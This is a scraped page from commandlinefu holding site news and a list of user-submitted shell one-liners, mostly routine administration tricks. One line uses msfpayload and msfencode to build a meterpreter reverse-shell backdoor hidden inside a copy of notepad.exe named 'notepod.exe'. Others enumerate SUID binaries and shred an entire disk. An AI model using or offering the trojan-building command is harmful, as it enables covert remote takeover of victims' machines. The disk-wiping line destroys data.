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May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!

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apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y

I used this to mass install a lot of perl stuff. Threw it together because I was feeling *especially* lazy. The 'perl' and the 'module' can be replaced with whatever you like.

find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;
2009-11-20 16:31:58
User: angleto
Functions: awk find rm xargs

remove files with access time older than a given date.

If you want to remove files with a given modification time replace %A@ with %T@. Use %C@ for the modification time.

The time is expressed in epoc but is easy to use any other ordered format.

dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path
2010-01-19 19:05:45
User: starchox
Functions: awk dir du tar
Tags: copy tar cp

This may seem like a long command, but it is great for making sure all file permissions are kept in tact. What it is doing is streaming the files in a sub-shell and then untarring them in the target directory. Please note that the -z command should not be used for local files and no perfomance increase will be visible as overhead processing (CPU) will be evident, and will slow down the copy.

You also may keep simple with, but you don't have the progress info:

cp -rpf /some/directory /other/path
python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;"
2011-11-20 10:35:44
User: mackaz
Functions: python

Remove dashes, also validates if it's a valid UUID (in contrast to simple string-replacement)

find . -type f -exec grep -l "some string" {} \;
find -amin +[n] -delete
2009-11-20 17:15:28
User: TeacherTiger
Functions: find

Deletes files older than "n" minutes ago. Note the plus sign before the n is important and means "greater than n". This is more precise than atime, since atime is specified in units of days. NOTE that you can use amin/atime, mmin/mtime, and cmin/ctime for access, modification, and change times, respectively. Also, using -delete is faster than piping to xargs, since no piping is needed.

find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
2010-07-23 08:09:47
User: ejrowley
Functions: find grep

If your site is struck with the white screen of death you can find the syntax error quickly with php lint

echo !$
msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
jkhgkjh; until [[ $? -eq 0 ]]; do YOURCOMMAND; done
2014-04-11 08:19:15
User: moiefu

You want bash to keep running the command until it is successful (until the exit code is 0). Give a dummy command, which sets the exit code to 1 then keep running your command until it exits cleanly

acpi | cut -d '%' -f1 | cut -d ',' -f2
VBoxManage controlvm ServidorProducao savestate
mkdir {1..100}
apt-cache policy mythtv
2011-08-05 17:34:41
User: PLA
Functions: apt

Use this command to determine what version of MythTV you are running on a Debian system. Tested on a Mythbuntu installation.

rdesktop -a 16 luigi:3052
cp foo.txt foo.txt.tmp; sed '$ d' foo.txt.tmp > foo.txt; rm -f foo.txt.tmp
2012-09-13 20:57:40
User: kaushalmehra
Functions: cp rm sed
Tags: sed unix

sed '$ d' foo.txt.tmp

...deletes last line from the file

guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
sudo shred -zn10 /dev/sda
2009-04-30 13:02:43
User: dcabanis
Functions: shred sudo

Shred can be used to shred a given partition or an complete disk. This should insure that not data is left on your disk

alias ping='ping -n'
who;ps aux|grep ssh
qemu-img create ubuntu.qcow 10G
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime
2011-10-15 09:21:49
User: anhpht

Boot without CD-Rom:

qemu fedora.qcow -boot c -net nic -net user -m 196 -localtime

echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml
2009-02-16 14:34:05
User: ronz0
Functions: echo read

Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet